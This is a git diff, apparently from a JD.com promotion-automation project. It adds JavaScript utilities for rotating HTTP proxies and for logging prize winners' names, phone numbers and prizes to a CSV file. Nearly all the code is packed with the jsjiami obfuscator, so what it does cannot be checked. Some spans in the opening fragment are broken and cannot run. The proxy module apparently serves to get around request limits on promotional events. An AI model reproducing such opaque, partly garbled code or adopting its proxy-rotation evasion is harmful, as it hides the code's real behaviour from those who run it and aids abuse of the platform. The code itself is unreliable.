rReTqO=jRDvSi(0xb9);if(this[FUxHt8(jRDvSi(0x1d6))][FUxHt8(0x4cf)](cxe4nWS)&&Qknz4M1.SBnLtwZ>-0x4b){rReTqO=this[FUxHt8(jRDvSi(0x1d6))][FUxHt8[wePIns(0x2ac)](jRDvSi(0xa4),jRDvSi(0x7f))](cxe4nWS)[FUxHt8(0x4d0)]}if(rApiUiv!==jRDvSi(0xb9)){this[FUxHt8(jRDvSi(0x1d6))][FUxHt8(0x4d1)](cxe4nWS,{[FUxHt8(0x4d2)]:be2Bx5,[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x4d3])]:rApiUiv})}else{this[FUxHt8(0x4ce)][FUxHt8(jRDvSi(0x1d7))](cxe4nWS)}this[FUxHt8(jRDvSi(0x1d8))]();if(_ur_8HD&&rReTqO){_ur_8HD(rReTqO)}return rReTqO}[FUxHt8(jRDvSi(0x7f))](cxe4nWS,rApiUiv){this[FUxHt8(0x4c9)]();let ORi6Xa_=null;if(this[FUxHt8(0x4d4)][FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x4d5])](cxe4nWS)){const _ur_8HD=this[FUxHt8[wePIns(jRDvSi(0xc9))](jRDvSi(0xa4),0x4d4)][FUxHt8(0x1b8)](cxe4nWS);if(_ur_8HD[FUxHt8(0x4d6)]===0x0||this[FUxHt8(jRDvSi(0x13e))]()<_ur_8HD[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x4d6])]){ORi6Xa_=_ur_8HD[FUxHt8(0x4d7)]}else{rK45quy(ORi6Xa_=null,this[FUxHt8(0x4d8)](cxe4nWS))}}if(rApiUiv){rApiUiv(ORi6Xa_)}return ORi6Xa_}[FUxHt8(0x4d9)](cxe4nWS,rApiUiv){this[FUxHt8(0x4c9)]();let ORi6Xa_=jRDvSi(0xb9);if(this[FUxHt8(jRDvSi(0x1d9))][FUxHt8(0x4db)](cxe4nWS)&&Qknz4M1.gibYBw()){rK45quy(ORi6Xa_=this[FUxHt8(jRDvSi(0x1d9))][FUxHt8(0x1b8)](cxe4nWS)[FUxHt8(0x4dc)],this[FUxHt8[wePIns(jRDvSi(0xb3))](jRDvSi(0xa4),[0x4da])][FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x1c1])](cxe4nWS),this[FUxHt8(jRDvSi(0x1d8))]())}if(rApiUiv){rApiUiv(ORi6Xa_)}return ORi6Xa_}[FUxHt8[wePIns(jRDvSi(0xb3))](void 0x0,[0x4dd])](cxe4nWS){this[FUxHt8(0x4c9)]();if(this[FUxHt8(jRDvSi(0x1da))][FUxHt8(0x4df)](cxe4nWS)){rK45quy(this[FUxHt8(jRDvSi(0x1da))][FUxHt8(0x1c1)](cxe4nWS),this[FUxHt8(0x4bf)]())}}}module[FUxHt8(0x4e0)]=new Q4akRG;function TShs0IQ(cxe4nWS,rApiUiv='vMNjSJtRKbEPAclTf!U[F`%GBQ(4Ca#V2o8n*$I}=rO{?5^q:@s"p0Y1Z~/.gx7e,',ORi6Xa_,FUxHt8,_ur_8HD=[],be2Bx5=0x0,rReTqO=0x0,MocfTe,N_Y9bri,OmVFw6R){rK45quy(ORi6Xa_=''+(cxe4nWS||''),FUxHt8=ORi6Xa_.length,MocfTe=-jRDvSi(0xa8));for(N_Y9bri=jRDvSi(0x9b);N_Y9brijRDvSi(0xaa)?0xd:0xe);do{rK45quy(_ur_8HD.push(be2Bx5&0xff),be2Bx5>>=0x8,rReTqO-=0x8)}while(rReTqO>jRDvSi(0x9e));MocfTe=-0x1}}if(MocfTe>-jRDvSi(0xa8)){_ur_8HD.push((be2Bx5|MocfTe<ORi6Xa_?_ur_8HD[rK45quy]:FUxHt8[ORi6Xa_]?FUxHt8[ORi6Xa_]:rApiUiv+be2Bx5,rReTqO.push(ORi6Xa_),be2Bx5=ORi6Xa_.charAt(jRDvSi(0x9b)),FUxHt8[cxe4nWS]=rApiUiv+be2Bx5,cxe4nWS++,rApiUiv=ORi6Xa_;return rReTqO.join('').split('|')}function LNlfgb(){return[0x75,0x80,'W|Kb',0x6d,0x77,0xb6,0xde,0xf9,0x116,'*)wV&Zb[|FuYbf3w&bR_4Awh+Gs9?=Bt',0x95,0x150,0x1bf,0x1b2,0x1fc,0x1b8,0x1e0,'(|_"C','4A/DhOK?|}U^x(MGUTIba',0x1f4,'Q|#V#','(|F"LOuN',0x1cf,0x1fe,0x9a,'Q|^b#5ZYt',0x14c,0x15f,0x235,'pjYb*6$HwI|=o^JmAM',0xa8,'aT|225jQ96$q2~CW',0x145,0x237,'J9`E!1Mc&[sY61>W|9j','{)42wy~RP}|=n8A',0x23f,0xac,0x247,0x250,0x251,0x252,0x298,0x0,0x29e,0x3f,0x7,0x12,0xc,0x6,0x135,0x2,void 0x0,0x28,0x57,0x2ab,0x1,0x5b,0x58,0x8,0xff,0x9,0xc4,0x10,0x8b,0x50,0x73,0x2ad,0xb,0x1a,0x3,!0x1,0x4,null,0x12d,0x5,0x12e,0x190,0x193,0x195,0x19e,0x1ed,0x16,0x2ae,0x1f7,0x1f9,0x24,0x2af,0x33,0x2ac,0x2b1,0x44,0x2b2,0x4d,0x4e,0x59,0x5a,0x60,0x2b4,0x66,0x69,0x6b,0xe,0x70,0x7b,0x7d,0xf,0x83,0x84,0x81,0x88,0x8a,0x8d,0x8e,0x91,0x94,0x11,0x1fff,0xd,0xa4,0x9b,0x9e,0xa0,0xa1,0xa3,0xa7,0xa2,0x9c,0xad,0xb2,0xb4,0xa9,0xbd,0xbe,0xbf,0xcf,0xc1,0xc6,0xc2,0xca,0xcc,0xc5,0xb9,0xd7,0xdb,0xdc,0xe1,0xe4,0xe7,0xe8,0xea,0xec,0xef,0xf0,0xf1,0xf2,0xf3,0xf6,0xfb,0xfc,0xfe,0x13,0x102,0x103,0x26,0x108,0x10a,0x10b,0x10e,0x114,0x117,'&',0x11b,0x11e,'=',0x125,0x12a,0x12b,';',0x12f,0x130,0x13a,0x13b,'0',0x13c,0x141,0x142,0x147,0x149,0x14a,0x14f,0x152,0x154,0x156,0x159,0x15b,0x15e,0x161,0x162,0x165,0x160,0x16c,0x151,0x171,!0x0,0x173,0x138,0x17b,0x17c,0x16a,0x16b,0x180,0x183,0x186,0x189,0x188,0x18b,0x194,0x196,0x192,0x198,0x19b,0x1a1,0x1a0,0x1a3,0x1a4,0x1a6,0x1ac,0x14b,0x1c6,0x1ca,0x1cb,0x1cd,0x1d1,0x1d3,'🔴',0x1d8,0x1d9,0x1d5,0x1df,0x1e2,0x1dd,0x1e3,0x1e4,0x1da,0x1e5,0x1e7,0x1ce,0x1d2,0x1e9,0x1ef,':',0x1f1,0x1f2,0x1f3,0x1f5,0x1f6,0x1fd,0x203,0x20d,'名称',0x210,0x205,0x4b,0x216,0x219,0x21d,0x1bb,0x221,0x225,0x22a,'ip',0x22b,'IP',0x22c,0x228,0x227,0x22d,0x230,0x233,0x236,0x23a,0x246,0x248,0x24d,0x24f,0x24c,0x256,0x25b,0x25c,0x25f,0x25d,0x261,0x64,0x265,0x267,0x272,0x273,0x274,0x27c,0x280,0x282,0x283,0x286,0x288,0x299,0x292,0x2a0,0x2a2,0x2a6,0x2a7,0x2a9,0x2b0,'jd',0x2b3,0x2b5,0x2b6,0x2b7,0x2bb,0x2b9,'jr',0x2bd,0x26f,0x32a,0x32d,0x33a,0x33d,0x355,0x361,0x362,0x27a,0x301,0x379,0x374,0x7530,0x3c4,0x3e8,'t',0x3eb,0x3c8,0x3ca,0x428,0x257,0xc8,0x44b,0x451,0x457,0x462,0x470,0x4a8,0x4af,0x4b0,0x4ae,0x4b3,0x4b4,0x40,0x4a6,0x4b6,0x4ce,0x1c1,0x4bf,0x4da,0x4de,'qD1blcYKz',0x100]}function Zy9IaB(rK45quy,rApiUiv=0x0){var ORi6Xa_=function(){return rK45quy(...arguments)};return cxe4nWS(ORi6Xa_,'length',{'value':rApiUiv,'configurable':true})} \ No newline at end of file diff --git a/jd/utils/Rebels_proxy.js b/jd/utils/Rebels_proxy.js new file mode 100644 index 00000000..c188dadb --- /dev/null +++ b/jd/utils/Rebels_proxy.js @@ -0,0 +1 @@ +var iil='jsjiami.com.v7';const l1llII=iii1II;(function(l11i11,IilIl1,lIII1l,l1iIIi,lilIi,l1l11I,lilIl){return l11i11=l11i11>>0x2,l1l11I='hs',lilIl='hs',function(IilIlI,iIli11,Iiiil,Iiiii,l11i1I){const illIl1=iii1II;Iiiii='tfi',l1l11I=Iiiii+l1l11I,l11i1I='up',lilIl+=l11i1I,l1l11I=Iiiil(l1l11I),lilIl=Iiiil(lilIl),Iiiil=0x0;const IiII=IilIlI();while(!![]&&--l1iIIi+iIli11){try{Iiiii=-parseInt(illIl1(0x189,'HzvD'))/0x1*(parseInt(illIl1(0x1a1,'0B71'))/0x2)+parseInt(illIl1(0x191,'Z!9h'))/0x3*(-parseInt(illIl1(0x1a0,'BnGu'))/0x4)+-parseInt(illIl1(0x1c9,'XJv8'))/0x5+parseInt(illIl1(0x1a9,'NRqG'))/0x6+parseInt(illIl1(0x1b1,'hGq4'))/0x7+parseInt(illIl1(0x1af,'YmN^'))/0x8+-parseInt(illIl1(0x1d6,'jMWo'))/0x9*(-parseInt(illIl1(0x1ce,'Z!9h'))/0xa);}catch(llIIli){Iiiii=Iiiil;}finally{l11i1I=IiII[l1l11I]();if(l11i11<=l1iIIi)Iiiil?lilIi?Iiiii=l11i1I:lilIi=l11i1I:Iiiil=l11i1I;else{if(Iiiil==lilIi['replace'](/[MUQVbFRhweuTrgLWKNEp=]/g,'')){if(Iiiii===iIli11){IiII['un'+l1l11I](l11i1I);break;}IiII[lilIl](l11i1I);}}}}}(lIII1l,IilIl1,function(lIII1I,illIlI,liIiI,l1il1I,Iiili,IilIli,li1){return illIlI='\x73\x70\x6c\x69\x74',lIII1I=arguments[0x0],lIII1I=lIII1I[illIlI](''),liIiI=`\x72\x65\x76\x65\x72\x73\x65`,lIII1I=lIII1I[liIiI]('\x76'),l1il1I=`\x6a\x6f\x69\x6e`,(0x151ab5,lIII1I[l1il1I](''));});}(0x2f8,0x669a0,Iii11l,0xc0),Iii11l)&&(iil=0xc0);const IiiIll=require(l1llII(0x183,'XPUz'));let IIlii=require('https-proxy-agent')[l1llII(0x1ae,'5F6h')],IlI1il=process[l1llII(0x1ad,'e&Du')][l1llII(0x19a,'NRqG')]||'',IilliI=process['env']['RS_PROXY_TIMEOUT']||0x4e20,IlI1ii=0x1,lIIiii='',iI1lli=0x0;async function ll1iI(IIli1I){const lI11Ii=l1llII,I1i11I={'JYtxg':function(I1l1I1){return I1l1I1();}};if(!IIli1I)return;const llIliI=await IiiIll['get'](IIli1I,{'timeout':{'request':0x7530}})['catch'](I1i111=>{const IilIll=iii1II;console[IilIll(0x1b7,'Asf*')](I1i111);});lIIiii=llIliI?.[lI11Ii(0x1c1,'MaO8')]?llIliI[lI11Ii(0x18a,'XPUz')][lI11Ii(0x19e,'qDou')]('\x0a','')['replace'](/^.*:\/\//,''):'',I1i11I[lI11Ii(0x1cc,'uS2G')](while_get_proxy);}function iii1II(_0x30d447,_0x2e6c1f){const _0x3defaf=Iii11l();return iii1II=function(_0x2db4cd,_0xdf893d){_0x2db4cd=_0x2db4cd-0x182;let _0x37e9e3=_0x3defaf[_0x2db4cd];if(iii1II['YjFGvk']===undefined){var _0x5df719=function(_0x45dca4){const _0x4166dd='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x52ce88='',_0x1f6893='';for(let _0x599a5e=0x0,_0x225d5c,_0x407851,_0x181903=0x0;_0x407851=_0x45dca4['charAt'](_0x181903++);~_0x407851&&(_0x225d5c=_0x599a5e%0x4?_0x225d5c*0x40+_0x407851:_0x407851,_0x599a5e++%0x4)?_0x52ce88+=String['fromCharCode'](0xff&_0x225d5c>>(-0x2*_0x599a5e&0x6)):0x0){_0x407851=_0x4166dd['indexOf'](_0x407851);}for(let _0x1a208e=0x0,_0x1bfe81=_0x52ce88['length'];_0x1a208e<_0x1bfe81;_0x1a208e++){_0x1f6893+='%'+('00'+_0x52ce88['charCodeAt'](_0x1a208e)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1f6893);};const _0xd50752=function(_0x13a937,_0x4fe47d){let _0x4886b9=[],_0x4edfea=0x0,_0x2f939b,_0x426dac='';_0x13a937=_0x5df719(_0x13a937);let _0x958a91;for(_0x958a91=0x0;_0x958a91<0x100;_0x958a91++){_0x4886b9[_0x958a91]=_0x958a91;}for(_0x958a91=0x0;_0x958a91<0x100;_0x958a91++){_0x4edfea=(_0x4edfea+_0x4886b9[_0x958a91]+_0x4fe47d['charCodeAt'](_0x958a91%_0x4fe47d['length']))%0x100,_0x2f939b=_0x4886b9[_0x958a91],_0x4886b9[_0x958a91]=_0x4886b9[_0x4edfea],_0x4886b9[_0x4edfea]=_0x2f939b;}_0x958a91=0x0,_0x4edfea=0x0;for(let _0x1827bd=0x0;_0x1827bd<_0x13a937['length'];_0x1827bd++){_0x958a91=(_0x958a91+0x1)%0x100,_0x4edfea=(_0x4edfea+_0x4886b9[_0x958a91])%0x100,_0x2f939b=_0x4886b9[_0x958a91],_0x4886b9[_0x958a91]=_0x4886b9[_0x4edfea],_0x4886b9[_0x4edfea]=_0x2f939b,_0x426dac+=String['fromCharCode'](_0x13a937['charCodeAt'](_0x1827bd)^_0x4886b9[(_0x4886b9[_0x958a91]+_0x4886b9[_0x4edfea])%0x100]);}return _0x426dac;};iii1II['cOkkSn']=_0xd50752,_0x30d447=arguments,iii1II['YjFGvk']=!![];}const _0x639674=_0x3defaf[0x0],_0x4e1272=_0x2db4cd+_0x639674,_0xc69e27=_0x30d447[_0x4e1272];return!_0xc69e27?(iii1II['ZlDlYG']===undefined&&(iii1II['ZlDlYG']=!![]),_0x37e9e3=iii1II['cOkkSn'](_0x37e9e3,_0xdf893d),_0x30d447[_0x4e1272]=_0x37e9e3):_0x37e9e3=_0xc69e27,_0x37e9e3;},iii1II(_0x30d447,_0x2e6c1f);}ll1iI(IlI1il),while_get_proxy=async()=>{const Iiill=l1llII,ilI1li={'pVncq':function(IIliI,ilI1ll){return IIliI(ilI1ll);},'VPXkA':function(Iillii,IlI1iI,Iillil){return Iillii(IlI1iI,Iillil);}};ilI1li[Iiill(0x1c7,'Sna3')](clearTimeout,iI1lli),iI1lli=ilI1li[Iiill(0x18e,'!hGp')](setTimeout,()=>{const l11i1i=Iiill;ilI1li[l11i1i(0x1be,'e&Du')](ll1iI,IlI1il);},IilliI);};async function iI1lll(l1lIli){return new Promise(lIIiiI=>{setTimeout(lIIiiI,l1lIli);});}function l1lIll(II1lil,IIli1l,II1lii=![]){const lI11I1=l1llII,lIIii1={'pmhab':function(ll1i1,IIli1i){return ll1i1!==IIli1i;},'XJxIW':lI11I1(0x18f,'nc0t'),'rDfAJ':function(I1iIi1,lliil1){return I1iIi1(lliil1);},'BFEXL':lI11I1(0x1b2,'@Q%3'),'wXMcE':lI11I1(0x1cf,'jMWo'),'VbREE':function(IIllI,lliilI){return IIllI===lliilI;},'rTAHo':'nxLJY','xtIPj':function(lili1,ll1l1){return lili1{const liI=lI11I1,IiiIiI={'WNPAr':function(lilii,l1iiI,ll1li,Illl1I){const l1il11=iii1II;return lIIii1[l1il11(0x1d5,'uS2G')](lilii,l1iiI,ll1li,Illl1I);},'HzVKZ':function(lliiiI,lilil){const IiI1=iii1II;return lIIii1[IiI1(0x1d4,'Z!9h')](lliiiI,lilil);}};if(IlI1il&&(this[liI(0x194,'lVfI')]||II1lii)){let ll1ll=/\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/;this['ip']=lIIiii;if(lIIii1['pmhab'](ll1ll['test'](this['ip']),![]))this[liI(0x1d0,'mwQi')]=this['ip']?new IIlii(liI(0x1a5,'i(Pr')+this['ip']):undefined;this['agent']?console[liI(0x18c,'heN#')](lIIii1[liI(0x1bc,'zFSH')]+this['ip']):'',IIll1[liI(0x192,'i(Pr')]={'https':this[liI(0x1d0,'mwQi')],'http':this[liI(0x1d1,'qDou')]};}IIll1['timeout']={'request':0x1388,'response':0x1388};try{lIIii1[liI(0x193,'BnGu')](lIIii1[liI(0x196,'nc0t')],lIIii1[liI(0x1a8,'JN@l')])?(i1illI(i1IIl),I1lll1['log'](i1IIi),IiiIiI[liI(0x1d8,'YmN^')](IIII1I,Iii111,l1l1II,Iil1I1=![])):II1lil[IIli1l](IIll1,async(ii1lI,I1ilIl,I11iII)=>{const l11i1l=liI,I1ilIi={'xlWeQ':function(IiiiI,llIlli){const illIli=iii1II;return lIIii1[illIli(0x1b5,'!hGp')](IiiiI,llIlli);},'xwOKJ':function(llIlll,lliii1){return llIlll+lliii1;},'XTYMe':lIIii1[l11i1l(0x1d9,'ffHi')],'OGvWY':function(Iiii1,lIIili){return lIIii1['rDfAJ'](Iiii1,lIIili);},'FZwLz':function(IiiIil,IiiIii){return IiiIil(IiiIii);},'bautL':function(IIlll,liliI){return lIIii1['rDfAJ'](IIlll,liliI);},'EZeOU':function(ll1lI,l1iii,IIlli){return ll1lI(l1iii,IIlli);}};if(lIIii1[l11i1l(0x1a3,'qDou')](lIIii1[l11i1l(0x1ab,'XPUz')],lIIii1['BFEXL'])){let ii1l1=/\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/;this['ip']=iii1Il;if(I1ilIi['xlWeQ'](ii1l1[l11i1l(0x1c0,'heN#')](this['ip']),![]))this[l11i1l(0x18b,'1yUt')]=this['ip']?new lI1IiI(l11i1l(0x1c8,'LLh4')+this['ip']):i1lI;this[l11i1l(0x185,'LLh4')]?IlI1l[l11i1l(0x1b3,'%PR)')](I1ilIi[l11i1l(0x1b9,'LLh4')](I1ilIi[l11i1l(0x199,'@Q%3')],this['ip'])):'',lilIil[l11i1l(0x1d2,'!ec#')]={'https':this[l11i1l(0x1b6,'@Q%3')],'http':this[l11i1l(0x1b0,'g)$6')]};}else try{if(lIIii1['pmhab'](lIIii1['wXMcE'],l11i1l(0x1ba,'zFSH')))ii1lI?lIIii1['VbREE'](lIIii1[l11i1l(0x1a6,'Z!9h')],lIIii1[l11i1l(0x198,'mwQi')])?lIIii1[l11i1l(0x195,'WZ%6')](this[l11i1l(0x1a4,'mwQi')],0x1)?(this[l11i1l(0x1b8,'5F6h')]=!![],this[l11i1l(0x19f,'JN@l')]++,await lIIii1[l11i1l(0x184,'5F6h')](ddd,IIll1,ll1il)):lIIii1['pmhab'](lIIii1['iGLFA'],lIIii1['iGLFA'])?(IiiIiI[l11i1l(0x182,'YmN^')](i1illi,i1illl),I1llil[l11i1l(0x1a7,'YmN^')](I1llii),IiiIiI[l11i1l(0x197,'qDou')](lilIll,l1i111,iliII1,II11I1=![])):(this[l11i1l(0x19c,'XJv8')]=!![],this[l11i1l(0x1cb,'kWBG')]=0x0,lIIii1[l11i1l(0x1bb,'lVfI')](ll1il,ii1lI,I1ilIl,I11iII)):I1ilIi[l11i1l(0x1bf,'Vigu')](I1iIl1,i1il):(IlI1ii++,this[l11i1l(0x1c6,'NRqG')]=![],this[l11i1l(0x1d7,'i(Pr')]=0x0,lIIii1['BODyi'](ll1il,ii1lI,I1ilIl,I11iII));else return new IliI1I(I11iIl=>{li1II(I11iIl,IliI11);});}catch(l1l11l){l11i1l(0x186,'jMWo')===lIIii1[l11i1l(0x1c4,'Z!9h')]?(I1ilIi['bautL'](IlI1I,II11Ii),II11Il=I1ilIi[l11i1l(0x19b,'lVfI')](IlI11,()=>{const lIII11=l11i1l;I1ilIi[lIII11(0x1c5,'nwlo')](iIIIIi,iii1I1);},lilIlI)):(lIIii1[l11i1l(0x1cd,'@Q%3')](ll1iI,IlI1il),console[l11i1l(0x190,'kb@M')](l1l11l),lIIii1[l11i1l(0x19d,'i(Pr')](l1lIll,II1lil,IIli1l,II1lii=![]));}});}catch(l1iIi){lIIii1[liI(0x1ca,'I[jC')](ll1iI,IlI1il),console[liI(0x1bd,'^11e')](l1iIi),lIIii1[liI(0x1c2,'j5iF')](l1lIll,II1lil,IIli1l,II1lii=![]);}};}function Iii11l(){const IiilI=(function(){return[...[iil,'rULjbLsgNjFMiWaeEmiR.TVLcopmh.uvTK7WppwQ==','qhmv','bSohW6tcM8k9','CuPSW6dcTa','5l+L55At5lQZ55ojW7DU776F','WRNcRSov','uSkZWQbIBmo9aSoRFxFcUa','aCoVwSkNuq','W57dT35gWQK','ks/dSmoeW4mR','W7BdGa7cHqC','W4ddTrxcVCov','W67cLNlcL8kI','bmoQW53cT8kJ','WRrGWObkpa','fCkOveHWhKZcSmkCWQS1Bq','cHtdVmoNW7m','reBdSSkxWOKr','gCoXv8kZBa','W4VcVvlcUSkXyNO','pCouWPTcW7O9WOu','WPRcOK9IWQxdRSoFW7G','WRJcHttcIsP4WRNcUHfx','tN3dHCkbW6ddSSoU','W4NcTuRcT8kY','emoFW7xcK8kIW7JcRq','cmo8s8k5h8ojza','fCouW5GBma','r8o5DW','aCo7WRDCW78'],...(function(){return[...['DSoooc8xz0dcRSk1WOGJqq','vSonWQNdPMOFE8od','be8ZFCoJ','W4jGBSolWOG9W5b/WQ3cNu0','bSkBWQS','fNrLWOldV8kiDN9nWQvDBLHZWPm','gCkIimkTlCo8W7LSW6FdTqNdRxa','u8kinqXt','W7rcW6BcOmkjqCo2y0LoEsD7','WQnzWPDGdG','WQSxWPe','BdqHW4BcTCoHnKPaWPbXyLq','v3DCW6RcLW','WO1tWRXPlq','WOLQWQy','ogf4WP7dQCk8','W5qtdsaU','W5BdPSkKW6pdSG','dqhdNCorW48','W6/dQ8kmW6xdOW','W7dcTa4','e8kJWRpdNf8','zCkfyuVdPG','whKbEq','zXa2iW','WRmnW67dPgO','WOxdIXxcN8oOC1RdLSoJyW','d8oVW6Swna','mSkHW4PbW7W','iCkAyNrhnq','W50DbfldVq'],...(function(){return['W4qqnHTEFmk8','eblcR8ocW59eW6qwW4pcNmkMdNW','WOpcPmkUz8op','WR/cQmkZW4ddPCovkG','WPRcHGJcMa0','WR1tWOPfna','umkYWQbMBmkxpSo3tLxcHsy','W7LAoKpcPG','f8ozW7NcKCk4','W5JcV0FcUmkK','ywFcMdtcHG','g8o3jcVcISorptpcPCo2cSog','nSoNW4OrmG','WPlcKdJcMqm','WOSleLFcRHhdMfq','bSoPvSkLs8ktjG','FmoyqmoyzG','WPFdQSkIW7dcVW','y8oSrSostG','iwyc','heT1WPNdPW','W40djWuq','W6TOgLRcUW','WPDeWQ/cTmoe','WQOMWPNdMSoc','hJ3dGCk3W5BdJmoRyW','jgysxa','W6ezjuVcKG'];}())];}())];}());Iii11l=function(){return IiilI;};return Iii11l();};function I1l1II(){}module[l1llII(0x1a2,'HzvD')]={'intoRequest':l1lIll};var version_ = 'jsjiami.com.v7'; \ No newline at end of file diff --git a/jd/utils/Rebels_savePrize.js b/jd/utils/Rebels_savePrize.js new file mode 100644 index 00000000..1f687910 --- /dev/null +++ b/jd/utils/Rebels_savePrize.js @@ -0,0 +1,5 @@ +/* +new Env('Rebels_savePrize'); +部分活动填地址通用库 +*/ +const _0x32f236=_0x5aa9;(function(_0x3ae2fa,_0x3c7156){const _0x1a7567=_0x5aa9,_0x784a32=_0x3ae2fa();while(!![]){try{const _0x303a5b=-parseInt(_0x1a7567(0x126,'nCCl'))/0x1*(parseInt(_0x1a7567(0xed,'3*yP'))/0x2)+parseInt(_0x1a7567(0xcb,'%RCc'))/0x3+-parseInt(_0x1a7567(0x13d,'Qg#z'))/0x4*(-parseInt(_0x1a7567(0xc6,'g0S1'))/0x5)+parseInt(_0x1a7567(0xd1,'JyKE'))/0x6*(-parseInt(_0x1a7567(0xd5,'DIl4'))/0x7)+parseInt(_0x1a7567(0xd3,'15t('))/0x8*(parseInt(_0x1a7567(0xdf,'G9^D'))/0x9)+-parseInt(_0x1a7567(0xca,')6mM'))/0xa+-parseInt(_0x1a7567(0x11c,'WKts'))/0xb*(-parseInt(_0x1a7567(0x14e,'DIl4'))/0xc);if(_0x303a5b===_0x3c7156)break;else _0x784a32['push'](_0x784a32['shift']());}catch(_0x4c3a4a){_0x784a32['push'](_0x784a32['shift']());}}}(_0x59b7,0xf32b6));const common=require(_0x32f236(0x9f,'3*yP')),CryptoModule=require('./Rebels_H'),fs=require('fs'),path=require(_0x32f236(0xfd,'twfX'));function _0x5aa9(_0x1dd980,_0x5bd457){const _0x59b7b9=_0x59b7();return _0x5aa9=function(_0x5aa982,_0x3585be){_0x5aa982=_0x5aa982-0x9c;let _0x1937f9=_0x59b7b9[_0x5aa982];if(_0x5aa9['QsVUwS']===undefined){var _0x46325e=function(_0x2b66fd){const _0x3c577c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x24710b='',_0x7d890c='';for(let _0x3a3e70=0x0,_0x51ac6b,_0x27bd26,_0x445c02=0x0;_0x27bd26=_0x2b66fd['charAt'](_0x445c02++);~_0x27bd26&&(_0x51ac6b=_0x3a3e70%0x4?_0x51ac6b*0x40+_0x27bd26:_0x27bd26,_0x3a3e70++%0x4)?_0x24710b+=String['fromCharCode'](0xff&_0x51ac6b>>(-0x2*_0x3a3e70&0x6)):0x0){_0x27bd26=_0x3c577c['indexOf'](_0x27bd26);}for(let _0x335044=0x0,_0x2210cd=_0x24710b['length'];_0x335044<_0x2210cd;_0x335044++){_0x7d890c+='%'+('00'+_0x24710b['charCodeAt'](_0x335044)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x7d890c);};const _0x1024d4=function(_0xc6011f,_0x3663e8){let _0x520672=[],_0x4982a8=0x0,_0x884e07,_0x2d32da='';_0xc6011f=_0x46325e(_0xc6011f);let _0x3158ce;for(_0x3158ce=0x0;_0x3158ce<0x100;_0x3158ce++){_0x520672[_0x3158ce]=_0x3158ce;}for(_0x3158ce=0x0;_0x3158ce<0x100;_0x3158ce++){_0x4982a8=(_0x4982a8+_0x520672[_0x3158ce]+_0x3663e8['charCodeAt'](_0x3158ce%_0x3663e8['length']))%0x100,_0x884e07=_0x520672[_0x3158ce],_0x520672[_0x3158ce]=_0x520672[_0x4982a8],_0x520672[_0x4982a8]=_0x884e07;}_0x3158ce=0x0,_0x4982a8=0x0;for(let _0x147d60=0x0;_0x147d60<_0xc6011f['length'];_0x147d60++){_0x3158ce=(_0x3158ce+0x1)%0x100,_0x4982a8=(_0x4982a8+_0x520672[_0x3158ce])%0x100,_0x884e07=_0x520672[_0x3158ce],_0x520672[_0x3158ce]=_0x520672[_0x4982a8],_0x520672[_0x4982a8]=_0x884e07,_0x2d32da+=String['fromCharCode'](_0xc6011f['charCodeAt'](_0x147d60)^_0x520672[(_0x520672[_0x3158ce]+_0x520672[_0x4982a8])%0x100]);}return _0x2d32da;};_0x5aa9['NdisBR']=_0x1024d4,_0x1dd980=arguments,_0x5aa9['QsVUwS']=!![];}const _0x402c34=_0x59b7b9[0x0],_0x1f0aa0=_0x5aa982+_0x402c34,_0x4b49d0=_0x1dd980[_0x1f0aa0];return!_0x4b49d0?(_0x5aa9['oTbJfe']===undefined&&(_0x5aa9['oTbJfe']=!![]),_0x1937f9=_0x5aa9['NdisBR'](_0x1937f9,_0x3585be),_0x1dd980[_0x1f0aa0]=_0x1937f9):_0x1937f9=_0x4b49d0,_0x1937f9;},_0x5aa9(_0x1dd980,_0x5bd457);}!fs[_0x32f236(0x121,'3*yP')]('./utils/prize')&&fs['mkdirSync']('./utils/prize');const prize_record_path='./utils/prize/addr_record.csv';if(!fs['existsSync'](prize_record_path)){let text='\ufeff收货人,手机,奖品,活动链接,具体时间\x0a';fs[_0x32f236(0x146,'15t(')](prize_record_path,text,{'encoding':'utf-8','flag':'a'}),console[_0x32f236(0xf3,'5!XB')](_0x32f236(0x135,'TO^c'));}function _0x59b7(){const _0x94c120=['WOaWvWtdG8ot','auS3WORdHsqZ','W6nzpCkyW7W','W7hcH8oRkW','BSoSlK4','W6BdUSoAW6i','WOZcJXvejflcQLldT8oJWORdTuzmgmk1sCkBvdq','WPWVy3BcLKJcOG','jXFcSvW','WRNdRL8','W43cNCktWR/cUaNcIrldPSo8W4uZW4i','WPFcSSk6W48OpmoEW4yKWOFcKCklnSoy','kbpcOe1HWQtcOLhdO8kP','amorC1rr','zLTEfKCokc8','8lQPPmoPemoadSouW6njng9Sp+ITIEAZKowNVoI3I0JINB7cPoAvKEwsNEw4SUAvIEAmSW','WP1Apa','WRxcK29B','WPPqpHtcL0XdW5jQvG','W5BWOyMiW4FOPOhLJkxLRPdNIBlLPlVLKBlOHyJLIAJNM6VORkxMLiNOT6VLNzxLNyRLSRpOLQVLHQpPLydOR4lVVPxOTAVOVRSMsG','8y+5G8ooW6uMWOXtm2ldL8kReSkM5l685A+R5PE76lsL5z6X5z6S5Aw26lwsWQxINOWw','FCk4W7NcVG','WPpdVSkjrSkCbmk4W6NdOmkcd8kB','WPldICovW7RdRfZdNa','rXFcJYTsfrDrlq','mmkEWO4','WQVcRSk9vW7cRCkABCkFW5BcQZJcM8k9','W4TYodxdLWRdPCk7WPHmWOO9lG','zSoIpq','WR5PuCoQAmoAcmodW7dcRtvp','pWLklImPadZcTsC','mCkrWOZdMq','W4ravSkpFmoOyHhdRmotemopW4lcOaW4x3/cJSkYl8o7jxlcQrhcTSkQmmkqWQZcOSkL','W6ZcT1PMWP9qx8kd','jwm3qSkE','W7JdSc3dNSknWRTApmoyk8kQW77dSG','jSkFWPxdNq','WOHepvaCWOpcKHDiymofcq','gSkdBG','WO3dICovW7NdKLJdLGpdSq','WQ1CeMq0','W743W6/cISkUtCkzt8keh8kPD2tdGdC8','CKyP','W5/dUCoDWPLb','eCkwygOah3ldKLRc